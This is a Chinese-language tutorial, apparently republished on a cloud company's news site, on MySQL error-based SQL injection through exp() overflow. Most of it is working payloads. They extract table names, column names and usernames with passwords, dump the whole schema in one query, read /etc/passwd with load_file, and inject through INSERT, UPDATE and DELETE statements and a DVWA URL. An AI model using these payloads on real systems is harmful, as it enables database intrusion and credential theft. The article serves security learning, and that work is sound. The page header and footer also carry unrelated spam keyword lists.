中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何使用exp進行SQL報錯注入

發布時間:2022-01-19 10:37:19 來源:億速云 閱讀:697 作者:小新 欄目:數據安全

這篇文章主要為大家展示了“如何使用exp進行SQL報錯注入”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“如何使用exp進行SQL報錯注入”這篇文章吧。

0x01 前言概述

小編又在MySQL中發現了一個Double型數據溢出。當我們拿到MySQL里的函數時,小編比較感興趣的是其中的數學函數,它們也應該包含一些數據類型來保存數值。所以小編就跑去測試看哪些函數會出現溢出錯誤。然后小編發現,當傳遞一個大于709的值時,函數exp()就會引起一個溢出錯誤。

如何使用exp進行SQL報錯注入

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都返回以e為底數的對數,見等式:

如何使用exp進行SQL報錯注入
如何使用exp進行SQL報錯注入

mysql> select log(15);
+------------------+
| log(15)          |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)


mysql> select ln(15);
+------------------+
| ln(15)           |
+------------------+
| 2.70805020110221 |
+------------------+
1 row in set (0.00 sec)

指數函數為對數函數的反函數,exp()即為以e為底的對數函數,如等式:

如何使用exp進行SQL報錯注入
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

0x02 注入

當涉及到注入時,我們使用否定查詢來造成“DOUBLE value is out of range”的錯誤。作者之前的博文提到的,將0按位取反就會返回“18446744073709551615”,再加上函數成功執行后返回0的緣故,我們將成功執行的函數取反就會得到***的無符號BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我們通過子查詢與按位求反,造成一個DOUBLE overflow error,并借由此注出數據。

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 注出數據

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

檢索數據:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 一蹴而就

這個查詢可以從當前的上下文中dump出所有的tables與columns。我們也可以dump出所有的數據庫,但由于我們是通過一個錯誤進行提取,它會返回很少的結果。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
如何使用exp進行SQL報錯注入

0x05 讀取文件

你可以通過load_file()函數來讀取文件,但作者發現有13行的限制,該語句也可以在BIGINT overflow injections中使用。

select exp(~(select*from(select load_file('/etc/passwd'))a));
如何使用exp進行SQL報錯注入

注意,你無法寫文件,因為這個錯入寫入的只是0。

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0

0x06 Injection in Insert

按部就班就好

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

對于所有的insert,update和delete語句DIOS查詢也同樣可以使用。

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

0x07 Injection in Update

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x08 Injection in Delete

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

和前面的BIGINT注入一樣,exp注入也適用于MySQL5.5.5及以上版本。以前的版本對于此情況則是“一言不發”。

mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)

可能還有其他的函數會產生這種報錯呦。

以上是“如何使用exp進行SQL報錯注入”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

苍南县| 永济市| 肥东县| 子洲县| 千阳县| 禄丰县| 乐至县| 巴东县| 泰州市| 彰化市| 水富县| 阿拉善右旗| 鄂尔多斯市| 华亭县| 长岭县| 五原县| 宜都市| 元氏县| 绥化市| 即墨市| 邻水| 从化市| 瑞金市| 潢川县| 祁连县| 苏尼特右旗| 星子县| 炎陵县| 苍山县| 宁安市| 昌江| 吉隆县| 正安县| 五华县| 娄烦县| 巫山县| 九龙城区| 天台县| 河北区| 革吉县| 济南市|